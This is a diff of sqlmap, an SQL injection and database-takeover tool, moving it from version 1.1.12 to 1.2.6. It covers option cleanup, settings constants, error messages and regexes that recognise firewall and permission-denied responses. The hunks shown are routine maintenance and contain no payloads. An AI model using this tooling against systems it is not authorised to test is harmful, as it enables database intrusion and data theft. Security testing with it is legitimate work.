if not re.search(r"\Ahttp[s]*://", conf.safeUrl): if not re.search(r"\Ahttp[s]*://", conf.safeUrl):
if ":443/" in conf.safeUrl: if ":443/" in conf.safeUrl:
@@ -1376,7 +1382,7 @@ def _setHTTPAuthentication():
except ImportError: except ImportError:
errMsg = "sqlmap requires Python NTLM third-party library " errMsg = "sqlmap requires Python NTLM third-party library "
errMsg += "in order to authenticate via NTLM, " errMsg += "in order to authenticate via NTLM, "
errMsg += "http://code.google.com/p/python-ntlm/" errMsg += "https://github.com/mullender/python-ntlm"
raise SqlmapMissingDependence(errMsg) raise SqlmapMissingDependence(errMsg)
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr)
@@ -1488,8 +1494,8 @@ def _setHTTPUserAgent():
userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0]
infoMsg = "fetched random HTTP User-Agent header from " infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
infoMsg += "file '%s': '%s'" % (paths.USER_AGENTS, userAgent) infoMsg += "file '%s'" % paths.USER_AGENTS
logger.info(infoMsg) logger.info(infoMsg)
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent))
@@ -1579,7 +1585,7 @@ def _createTemporaryDirectory():
except (OSError, IOError), ex: except (OSError, IOError), ex:
errMsg = "there has been a problem while accessing " errMsg = "there has been a problem while accessing "
errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex)
raise SqlmapSystemException, errMsg raise SqlmapSystemException(errMsg)
else: else:
try: try:
if not os.path.isdir(tempfile.gettempdir()): if not os.path.isdir(tempfile.gettempdir()):
@@ -1606,7 +1612,7 @@ def _createTemporaryDirectory():
except (OSError, IOError, WindowsError), ex: except (OSError, IOError, WindowsError), ex:
errMsg = "there has been a problem while setting " errMsg = "there has been a problem while setting "
errMsg += "temporary directory location ('%s')" % getSafeExString(ex) errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
raise SqlmapSystemException, errMsg raise SqlmapSystemException(errMsg)
def _cleanupOptions(): def _cleanupOptions():
""" """
@@ -1647,7 +1653,10 @@ def _cleanupOptions():
conf.rParam = [] conf.rParam = []
if conf.paramDel and '\\' in conf.paramDel: if conf.paramDel and '\\' in conf.paramDel:
try:
conf.paramDel = conf.paramDel.decode("string_escape") conf.paramDel = conf.paramDel.decode("string_escape")
except ValueError:
pass
if conf.skip: if conf.skip:
conf.skip = conf.skip.replace(" ", "") conf.skip = conf.skip.replace(" ", "")
@@ -1661,6 +1670,9 @@ def _cleanupOptions():
if conf.delay: if conf.delay:
conf.delay = float(conf.delay) conf.delay = float(conf.delay)
if conf.url:
conf.url = conf.url.strip()
if conf.rFile: if conf.rFile:
conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile)) conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile))
@@ -1781,8 +1793,8 @@ def _cleanupOptions():
if conf.col: if conf.col:
conf.col = re.sub(r"\s*,\s*", ',', conf.col) conf.col = re.sub(r"\s*,\s*", ',', conf.col)
if conf.excludeCol: if conf.exclude:
conf.excludeCol = re.sub(r"\s*,\s*", ',', conf.excludeCol) conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
if conf.binaryFields: if conf.binaryFields:
conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields) conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields)
@@ -1886,6 +1898,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.cache.addrinfo = {} kb.cache.addrinfo = {}
kb.cache.content = {} kb.cache.content = {}
kb.cache.encoding = {} kb.cache.encoding = {}
kb.cache.alphaBoundaries = None
kb.cache.intBoundaries = None kb.cache.intBoundaries = None
kb.cache.parsedDbms = {} kb.cache.parsedDbms = {}
kb.cache.regex = {} kb.cache.regex = {}
@@ -1937,6 +1950,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.forcePartialUnion = False kb.forcePartialUnion = False
kb.forceWhere = None kb.forceWhere = None
kb.futileUnion = None kb.futileUnion = None
kb.heavilyDynamic = False
kb.headersFp = {} kb.headersFp = {}
kb.heuristicDbms = None kb.heuristicDbms = None
kb.heuristicExtendedDbms = None kb.heuristicExtendedDbms = None
@@ -2030,6 +2044,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.uChar = NULL kb.uChar = NULL
kb.unionDuplicates = False kb.unionDuplicates = False
kb.wafSpecificResponse = None kb.wafSpecificResponse = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False kb.xpCmdshellAvailable = False
if flushAll: if flushAll:
@@ -2111,6 +2126,8 @@ def _useWizardInterface():
dataToStdout("\nsqlmap is running, please wait..\n\n") dataToStdout("\nsqlmap is running, please wait..\n\n")
kb.wizardMode = True
def _saveConfig(): def _saveConfig():
""" """
Saves the command line options to a sqlmap configuration INI file Saves the command line options to a sqlmap configuration INI file
@@ -2305,7 +2322,6 @@ def _setTorHttpProxySettings():
errMsg = "can't establish connection with the Tor HTTP proxy. " errMsg = "can't establish connection with the Tor HTTP proxy. "
errMsg += "Please make sure that you have Tor (bundle) installed and setup " errMsg += "Please make sure that you have Tor (bundle) installed and setup "
errMsg += "so you could be able to successfully use switch '--tor' " errMsg += "so you could be able to successfully use switch '--tor' "
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
if not conf.checkTor: if not conf.checkTor:
@@ -2326,7 +2342,6 @@ def _setTorSocksProxySettings():
errMsg = "can't establish connection with the Tor SOCKS proxy. " errMsg = "can't establish connection with the Tor SOCKS proxy. "
errMsg += "Please make sure that you have Tor service installed and setup " errMsg += "Please make sure that you have Tor service installed and setup "
errMsg += "so you could be able to successfully use switch '--tor' " errMsg += "so you could be able to successfully use switch '--tor' "
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
# SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29) # SOCKS5 to prevent DNS leaks (http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29)
@@ -2339,7 +2354,7 @@ def _checkWebSocket():
from websocket import ABNF from websocket import ABNF
except ImportError: except ImportError:
errMsg = "sqlmap requires third-party module 'websocket-client' " errMsg = "sqlmap requires third-party module 'websocket-client' "
errMsg += "in order to use WebSocket funcionality" errMsg += "in order to use WebSocket functionality"
raise SqlmapMissingDependence(errMsg) raise SqlmapMissingDependence(errMsg)
def _checkTor(): def _checkTor():
@@ -2531,11 +2546,11 @@ def _basicOptionValidation():
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.checkTor and not any((conf.tor, conf.proxy)): if conf.checkTor and not any((conf.tor, conf.proxy)):
errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address using Tor)" errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535): if conf.torPort is not None and not (isinstance(conf.torPort, int) and conf.torPort >= 0 and conf.torPort <= 65535):
errMsg = "value for option '--tor-port' must be in range 0-65535" errMsg = "value for option '--tor-port' must be in range [0, 65535]"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True): if conf.torType not in getPublicTypeMembers(PROXY_TYPE, True):
@@ -2580,9 +2595,9 @@ def _basicOptionValidation():
if conf.encoding: if conf.encoding:
_ = checkCharEncoding(conf.encoding, False) _ = checkCharEncoding(conf.encoding, False)
if _ is None: if _ is None:
errMsg = "unknown charset '%s'. Please visit " % conf.encoding errMsg = "unknown encoding '%s'. Please visit " % conf.encoding
errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE
errMsg += "supported charsets" errMsg += "supported encodings"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
else: else:
conf.encoding = _ conf.encoding = _

View File

@@ -1,15 +1,15 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
optDict = { optDict = {
# Format:
# Family: {"parameter name": "parameter datatype"}, # Family: {"parameter name": "parameter datatype"},
# Or: # --OR--
# Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")}, # Family: {"parameter name": ("parameter datatype", "category name used for common outputs feature")},
"Target": { "Target": {
"direct": "string", "direct": "string",
"url": "string", "url": "string",
@@ -139,7 +139,7 @@ optDict = {
"db": "string", "db": "string",
"tbl": "string", "tbl": "string",
"col": "string", "col": "string",
"excludeCol": "string", "exclude": "string",
"pivotColumn": "string", "pivotColumn": "string",
"dumpWhere": "string", "dumpWhere": "string",
"user": "string", "user": "string",
@@ -236,6 +236,7 @@ optDict = {
"wizard": "boolean", "wizard": "boolean",
"verbose": "integer", "verbose": "integer",
}, },
"Hidden": { "Hidden": {
"dummy": "boolean", "dummy": "boolean",
"disablePrecon": "boolean", "disablePrecon": "boolean",
@@ -247,6 +248,7 @@ optDict = {
"stopFail": "boolean", "stopFail": "boolean",
"runCase": "string", "runCase": "string",
}, },
"API": { "API": {
"api": "boolean", "api": "boolean",
"taskid": "string", "taskid": "string",

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -20,9 +20,9 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
""" """
try: try:
__import__("gobject")
from thirdparty.gprof2dot import gprof2dot from thirdparty.gprof2dot import gprof2dot
from thirdparty.xdot import xdot from thirdparty.xdot import xdot
import gobject
import gtk import gtk
import pydot import pydot
except ImportError, e: except ImportError, e:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -14,11 +14,11 @@ _readline = None
try: try:
from readline import * from readline import *
import readline as _readline import readline as _readline
except ImportError: except:
try: try:
from pyreadline import * from pyreadline import *
import pyreadline as _readline import pyreadline as _readline
except ImportError: except:
pass pass
if IS_WIN and _readline: if IS_WIN and _readline:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS from lib.core.enums import OS
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.1.12.0" VERSION = "1.2.6.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -27,8 +27,9 @@ DESCRIPTION = "automatic SQL injection and database takeover tool"
SITE = "http://sqlmap.org" SITE = "http://sqlmap.org"
DEV_EMAIL_ADDRESS = "dev@sqlmap.org" DEV_EMAIL_ADDRESS = "dev@sqlmap.org"
ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new" ISSUES_PAGE = "https://github.com/sqlmapproject/sqlmap/issues/new"
GIT_REPOSITORY = "git://github.com/sqlmapproject/sqlmap.git" GIT_REPOSITORY = "https://github.com/sqlmapproject/sqlmap.git"
GIT_PAGE = "https://github.com/sqlmapproject/sqlmap" GIT_PAGE = "https://github.com/sqlmapproject/sqlmap"
ZIPBALL_PAGE = "https://github.com/sqlmapproject/sqlmap/zipball/master"
# colorful banner # colorful banner
BANNER = """\033[01;33m\ BANNER = """\033[01;33m\
@@ -82,10 +83,13 @@ SELECT_FROM_TABLE_REGEX = r"\bSELECT\b.+?\bFROM\s+(?P<result>([\w.]|`[^`<>]+`)+)
TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)" TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"
# Regular expression used for recognition of generic permission messages # Regular expression used for recognition of generic permission messages
PERMISSION_DENIED_REGEX = r"(command|permission|access)\s*(was|is)?\s*denied" PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s*denied)"
# Regular expression used in recognition of generic protection mechanisms
GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
# Regular expression used for recognition of generic maximum connection messages # Regular expression used for recognition of generic maximum connection messages
MAX_CONNECTIONS_REGEX = r"max.+connections" MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
# Maximum consecutive connection errors before asking the user if he wants to continue # Maximum consecutive connection errors before asking the user if he wants to continue
MAX_CONSECUTIVE_CONNECTION_ERRORS = 15 MAX_CONSECUTIVE_CONNECTION_ERRORS = 15
@@ -202,6 +206,11 @@ DUMMY_USER_PREFIX = "__dummy__"
# Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1
DEFAULT_PAGE_ENCODING = "iso-8859-1" DEFAULT_PAGE_ENCODING = "iso-8859-1"
try:
unicode(DEFAULT_PAGE_ENCODING, DEFAULT_PAGE_ENCODING)
except LookupError:
DEFAULT_PAGE_ENCODING = "utf8"
# URL used in dummy runs # URL used in dummy runs
DUMMY_URL = "http://foo/bar?id=1" DUMMY_URL = "http://foo/bar?id=1"
@@ -216,7 +225,7 @@ PYVERSION = sys.version.split()[0]
MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb") MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb")
MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema")
PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent")
ORACLE_SYSTEM_DBS = ("ANONYMOUS", "APEX_PUBLIC_USER", "CTXSYS", "DBSNMP", "DIP", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "WKPROXY", "WKSYS", "WK_TEST", "WMSYS", "XDB", "XS$NULL") # Reference: https://blog.vishalgupta.com/2011/06/19/predefined-oracle-system-schemas/ ORACLE_SYSTEM_DBS = ('ANONYMOUS', 'APEX_030200', 'APEX_PUBLIC_USER', 'APPQOSSYS', 'BI', 'CTXSYS', 'DBSNMP', 'DIP', 'EXFSYS', 'FLOWS_%', 'FLOWS_FILES', 'HR', 'IX', 'LBACSYS', 'MDDATA', 'MDSYS', 'MGMT_VIEW', 'OC', 'OE', 'OLAPSYS', 'ORACLE_OCM', 'ORDDATA', 'ORDPLUGINS', 'ORDSYS', 'OUTLN', 'OWBSYS', 'PM', 'SCOTT', 'SH', 'SI_INFORMTN_SCHEMA', 'SPATIAL_CSW_ADMIN_USR', 'SPATIAL_WFS_ADMIN_USR', 'SYS', 'SYSMAN', 'SYSTEM', 'WKPROXY', 'WKSYS', 'WK_TEST', 'WMSYS', 'XDB', 'XS$NULL')
SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master")
ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2")
FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS")
@@ -291,6 +300,10 @@ BASIC_HELP_ITEMS = (
"wizard", "wizard",
) )
# Tags used for value replacements inside shell scripts
SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%"
SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%"
# String representation for NULL value # String representation for NULL value
NULL = "NULL" NULL = "NULL"
@@ -300,13 +313,16 @@ BLANK = "<blank>"
# String representation for current database # String representation for current database
CURRENT_DB = "CD" CURRENT_DB = "CD"
# Name of SQLite file used for storing session data
SESSION_SQLITE_FILE = "session.sqlite"
# Regular expressions used for finding file paths in error messages # Regular expressions used for finding file paths in error messages
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)") FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"in (?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.~-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
# Regular expressions used for parsing error messages (--parse-errors) # Regular expressions used for parsing error messages (--parse-errors)
ERROR_PARSING_REGEXES = ( ERROR_PARSING_REGEXES = (
r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>", r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$", r"(?m)^\s*(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)", r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
r"<li>Error Type:<br>(?P<result>.+?)</li>", r"<li>Error Type:<br>(?P<result>.+?)</li>",
r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)", r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
@@ -351,7 +367,7 @@ URI_INJECTABLE_REGEX = r"//[^/]*/([^\.*?]+)\Z"
SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s" SENSITIVE_DATA_REGEX = "(\s|=)(?P<result>[^\s=]*%s[^\s]*)\s"
# Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside) # Options to explicitly mask in anonymous (unhandled exception) reports (along with anything carrying the <hostname> inside)
SENSITIVE_OPTIONS = ("hostname", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred") SENSITIVE_OPTIONS = ("hostname", "answers", "data", "dnsDomain", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile", "testParameter", "authCred")
# Maximum number of threads (avoiding connection issues and/or DoS) # Maximum number of threads (avoiding connection issues and/or DoS)
MAX_NUMBER_OF_THREADS = 10 MAX_NUMBER_OF_THREADS = 10
@@ -413,6 +429,9 @@ HASH_MOD_ITEM_DISPLAY = 11
# Maximum integer value # Maximum integer value
MAX_INT = sys.maxint MAX_INT = sys.maxint
# Replacement for unsafe characters in dump table filenames
UNSAFE_DUMP_FILEPATH_REPLACEMENT = '_'
# Options that need to be restored in multiple targets run mode # Options that need to be restored in multiple targets run mode
RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user") RESTORE_MERGED_OPTIONS = ("col", "db", "dnsDomain", "privEsc", "tbl", "regexp", "string", "textOnly", "threads", "timeSec", "tmpPath", "uChar", "user")
@@ -520,7 +539,7 @@ ROTATING_CHARS = ('\\', '|', '|', '/', '-')
# Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory)
BIGARRAY_CHUNK_SIZE = 1024 * 1024 BIGARRAY_CHUNK_SIZE = 1024 * 1024
# Compress (zlib) level used for storing BigArray chunks to disk (0-9) # Compress level used for storing BigArray chunks to disk (0-9)
BIGARRAY_COMPRESS_LEVEL = 9 BIGARRAY_COMPRESS_LEVEL = 9
# Maximum number of socket pre-connects # Maximum number of socket pre-connects
@@ -621,7 +640,7 @@ NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024 MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
# Maximum response total page size (trimmed if larger) # Maximum response total page size (trimmed if larger)
MAX_CONNECTION_TOTAL_SIZE = 50 * 1024 * 1024 MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,14 +1,13 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import errno import errno
import os import os
import subprocess import subprocess
import sys
import time import time
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
@@ -24,11 +23,6 @@ else:
import select import select
import fcntl import fcntl
if (sys.hexversion >> 16) >= 0x202:
FCNTL = fcntl
else:
import FCNTL
def blockingReadFromFD(fd): def blockingReadFromFD(fd):
# Quick twist around original Twisted function # Quick twist around original Twisted function
# Blocking read from a non-blocking file descriptor # Blocking read from a non-blocking file descriptor

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -62,6 +62,7 @@ from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import REFERER_ALIASES from lib.core.settings import REFERER_ALIASES
from lib.core.settings import RESTORE_MERGED_OPTIONS from lib.core.settings import RESTORE_MERGED_OPTIONS
from lib.core.settings import RESULTS_FILE_FORMAT from lib.core.settings import RESULTS_FILE_FORMAT
from lib.core.settings import SESSION_SQLITE_FILE
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNENCODED_ORIGINAL_VALUE
from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNICODE_ENCODING
@@ -141,7 +142,7 @@ def _setRequestParams():
if not (kb.processUserMarks and kb.customInjectionMark in conf.data): if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER) conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]*)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*".+?)"(?<!\\")', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*)\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data) conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)((true|false|null))\b', functools.partial(process, repl=r'\g<1>\g<3>%s' % kb.customInjectionMark), conf.data)
match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data) match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
@@ -229,9 +230,9 @@ def _setRequestParams():
